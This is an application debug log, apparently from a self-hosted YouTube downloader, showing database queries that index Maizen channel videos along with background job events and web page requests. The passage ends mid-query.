idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:17.445 [debug] QUERY OK source="media_items" db=1.1ms idle=3.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-17 03:07:57Z], 2] 19:36:17.446 [debug] QUERY OK source="media_items" db=0.6ms idle=4.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "13064709-0657-4fc9-925b-1e2a3f85382d", "gu_xiQyFWhs", 2386, false, "https://www.youtube.com/watch?v=gu_xiQyFWhs", 15, "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", false, false, false, 2, [], 98, ~U[2026-05-17 03:07:57Z], ~U[2026-08-20 02:36:17Z], ~U[2026-08-20 02:36:17Z], "Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "gu_xiQyFWhs", 2386, false, "https://www.youtube.com/watch?v=gu_xiQyFWhs", "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", false, 2, ~U[2026-05-17 03:07:57Z]] 19:36:17.447 [debug] QUERY OK source="sources" db=0.2ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:17.448 [debug] QUERY OK source="media_items" db=1.1ms idle=3.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-16 03:25:23Z], 2] 19:36:17.449 [debug] QUERY OK source="media_items" db=0.7ms idle=2.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "500 Million Year Button", "567b2224-bc40-4387-9ba7-57a864e76d7b", "sbn-vC02XcE", 915, false, "https://www.youtube.com/watch?v=sbn-vC02XcE", 16, "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", false, false, false, 2, [], 98, ~U[2026-05-16 03:25:23Z], ~U[2026-08-20 02:36:17Z], ~U[2026-08-20 02:36:17Z], "Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "500 Million Year Button", "sbn-vC02XcE", 915, false, "https://www.youtube.com/watch?v=sbn-vC02XcE", "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", false, 2, ~U[2026-05-16 03:25:23Z]] 19:36:17.449 [debug] QUERY OK source="sources" db=0.2ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:17.451 [debug] QUERY OK source="media_items" db=1.2ms idle=2.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-13 03:45:03Z], 2] 19:36:17.452 [debug] QUERY OK source="media_items" db=0.6ms idle=3.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MUTANT Speedrunners VS Hunter in Minecraft", "e2b6ecba-c13c-4352-a048-b68a327231db", "5bH1T7ZwmjA", 955, false, "https://www.youtube.com/watch?v=5bH1T7ZwmjA", 17, "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-13 03:45:03Z], ~U[2026-08-20 02:36:17Z], ~U[2026-08-20 02:36:17Z], "Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MUTANT Speedrunners VS Hunter in Minecraft", "5bH1T7ZwmjA", 955, false, "https://www.youtube.com/watch?v=5bH1T7ZwmjA", "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", false, 2, ~U[2026-05-13 03:45:03Z]] 19:36:17.452 [debug] QUERY OK source="sources" db=0.1ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:17.453 [debug] QUERY OK source="media_items" db=1.1ms idle=3.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-10 22:16:00Z], 2] 19:36:17.454 [debug] QUERY OK source="media_items" db=0.5ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're having a Murder House building competition! We'll both build spooky houses, and try to capture each other in our traps!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE", "0fcabc64-4524-4696-af28-140d8c1d699e", "hvMewRuugus", 1743, false, "https://www.youtube.com/watch?v=hvMewRuugus", 18, "/downloads/shows/Maizen/Season 2026/s2026e051000 - Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE.mp4", false, false, false, 2, [], 98, ~U[2026-05-10 22:16:00Z], ~U[2026-08-20 02:36:17Z], ~U[2026-08-20 02:36:17Z], "Today, we're having a Murder House building competition! We'll both build spooky houses, and try to capture each other in our traps!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE", "hvMewRuugus", 1743, false, "https://www.youtube.com/watch?v=hvMewRuugus", "/downloads/shows/Maizen/Season 2026/s2026e051000 - Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE.mp4", false, 2, ~U[2026-05-10 22:16:00Z]] 19:36:17.455 [debug] QUERY OK source="sources" db=0.1ms idle=3.6ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-08-20 02:36:17Z], ~U[2026-08-20 02:36:17Z], 2] 19:36:17.456 [debug] QUERY OK source="media_items" db=1.2ms idle=3.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 19:36:17.457 [debug] QUERY OK source="media_items" db=1.1ms idle=4.1ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 19:36:17.458 [debug] QUERY OK source="media_items" db=0.4ms idle=4.1ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 19:36:17.459 [debug] QUERY OK source="tasks" db=0.2ms idle=2.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [17084, 2, ~U[2026-08-20 02:36:17Z], ~U[2026-08-20 02:36:17Z]] 19:36:17.459 [info] {"args":{"id":2},"id":17081,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":26038032,"event":"job:stop","queue_time":980897,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 19:36:17.836 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:46.412 [info] GET /sources/3/media/404257 19:36:46.412 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "404257", "source_id" => "3"} Pipelines: [:browser] 19:36:46.413 [debug] QUERY OK source="media_items" db=0.1ms idle=1630.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [404257] 19:36:46.413 [debug] QUERY OK source="tasks" db=0.1ms idle=1630.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [404257] 19:36:46.413 [debug] QUERY OK source="sources" db=0.3ms idle=1630.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:36:46.414 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=932.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [14266, 14480] 19:36:46.414 [debug] QUERY OK source="settings" db=0.0ms idle=631.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:36:46.414 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:36:46.415 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:36:46.415 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:36:46.417 [info] Sent 200 in 4ms 19:36:47.838 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:00.194 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:37:17.841 [info] {"source":"oban","duration":1939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:47.843 [info] {"source":"oban","duration":1193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:00.195 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:38:14.727 [info] GET /sources/2/media/366904 19:38:14.728 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "366904", "source_id" => "2"} Pipelines: [:browser] 19:38:14.728 [debug] QUERY OK source="media_items" db=0.2ms idle=945.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [366904] 19:38:14.734 [debug] QUERY OK source="tasks" db=0.6ms queue=0.1ms idle=950.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [366904] 19:38:14.734 [debug] QUERY OK source="sources" db=0.7ms idle=951.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:38:14.734 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=952.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [13037, 13319] 19:38:14.735 [debug] QUERY OK source="settings" db=0.1ms idle=127.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:38:14.735 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:38:14.735 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:38:14.736 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:38:14.737 [info] Sent 200 in 9ms 19:38:14.837 [info] GET /sources/3 19:38:14.837 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 19:38:14.838 [debug] QUERY OK source="sources" db=0.1ms idle=103.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:38:14.838 [debug] QUERY OK source="media_profiles" db=0.1ms idle=103.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:38:14.841 [debug] QUERY OK source="tasks" db=2.1ms idle=103.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [3, "executing", "available", "scheduled", "retryable"] 19:38:14.841 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=105.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [17083] 19:38:14.841 [debug] QUERY OK source="settings" db=0.1ms idle=104.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:38:14.841 [debug] QUERY OK source="settings" db=0.0ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:38:14.842 [debug] QUERY OK source="settings" db=0.1ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:38:14.843 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:38:14.844 [debug] QUERY OK source="media_items" db=0.3ms idle=2.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN 